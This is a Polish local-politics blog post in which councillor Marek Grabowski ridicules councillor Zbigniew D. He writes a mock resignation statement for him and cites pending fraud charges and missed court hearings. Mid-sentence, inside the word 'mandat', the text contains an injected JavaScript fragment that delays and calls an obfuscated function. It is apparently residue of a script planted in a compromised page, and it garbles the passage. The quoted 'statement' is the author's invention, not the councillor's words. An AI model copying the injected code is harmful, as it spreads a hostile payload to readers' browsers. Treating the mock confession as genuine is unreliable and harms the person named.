Zbigniew D. i oświadczenie nieoczekiwane.

Przeczytałem piątkowe oświadczenie radnego Zbigniewa D. Czytałem je z nadzieją, że w końcu zrozumiał, iż trzeba wydać oświadczenie w swojej sprawie. No niestety oświadczenie dotyczy głównie mnie i Radnych Klubu Dobro Wspólne. Postanowiłem pomóc radnemu D. i napisać mu jak powinno brzmieć jego oświadczenie.

„Ja niżej podpisany Zbigniew D., jeszcze Radny Rady Miejskiej w Białej Piskiej, w poczuciu krzywdy, którą wyrządzam swoja obecnością w tej Radzie i w poczuciu oszustw, o które jestem oskarżony, składam mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat Radnego. Posiadając kilka zarzutów prokuratorskich i nie stawiając się na rozprawy w wyznaczonym terminie, zasłaniając się chorobą, potwierdzam tylko, że kalam oblicze Rady Miejskiej w Białej Piskiej. Wiem, że ważniejsze ode mnie urzędy pełnią osoby skazane kiedyś za fałszowanie dokumentów, ale to nie zwalnia mnie z obowiązku myślenia o dobru Rady. Przepraszam wszystkich Mieszkańców Gminy za to, że niegodnie ich reprezentuję. Przepraszam wszystkich przeze mnie skrzywdzonych, a są ich dziesiątki. Wspierałem, wspieram i będę wspierał burmistrz Sokołowską, bo tylko ona mnie naprawdę rozumie. Ona wie co oznacza bycie postawionym w stan oskarżenia za oszustwa. Dlatego bardzo jej dziękuję. Dobrze, że oboje umiemy sobie zaufać.

Zbierając podpisy pod wnioskiem o referendum, bardzo proszę osoby, do których się udaję o przemyślenie czy udostępnić mi numer pesel, bo to strasznie kusi. Nie żebym chciał Was wykorzystać, ale miło się patrzy na takie listy z peselami. Chyba wydrukuję sobie każdy z osobna i zbuduję z nich piramidę. Taki mały Egipt w domu. Nie będę musiał jechać na wczasy. Dziękuję Radnym, że tolerowali moją osobę przez tyle czasu. Wszystkim Mieszkańcom Gminy, życzę wszelkiej pomyślności, a Radzie Miejskiej podejmowania samych dobrych decyzji. Na koniec jeszcze jedno. Nie dajcie się rolować obietnicami wyborczymi ludzi, którzy na niczym się nie znają”.

Tak radny D. powinno brzmieć to oświadczenie! Dla mnie jako Marka Grabowskiego wstydem jest zasiadanie i decydowanie o losie Gminy z kimś takim. Pod koniec stycznia kolejny termin pańskiej rozprawy karnej, na którą jestem wezwany, jako świadek. Przyjdzie pan? Bo już jedną pan opuścił. Miejmy nadzieję, że tym razem zdrowie panu pozwoli, bo na różne akcje jest pan zdrowy. Może w końcu pozwoli pan sądowi ocenić materiał dowodowy. A może pana uniewinnią? To dopiero będzie zaskoczenie.

Niech się radny D. nie kłopoci zbieraniem podpisów. I tak 80% ludzi uważa, że to referendum to pic na wodę. Sami składający wniosek wiedzą, że raczej już w tej Radzie nie zasiądą, więc motywacja do zbierania podpisów niewielka. Ja sam jak pisałem w pełni popieram referendum. Mam nadzieję, że Rada bez radnego D. będzie wyglądać pięknie i nikt nie będzie mówił, że to nie jest fair, iż w Radzie zasiadają ludzie, którzy są oskarżeni o świadome fałszowanie dokumentów. Bo to zawsze brzydko pachnie. Nie wiadomo tylko czy Andrzej się cieszy.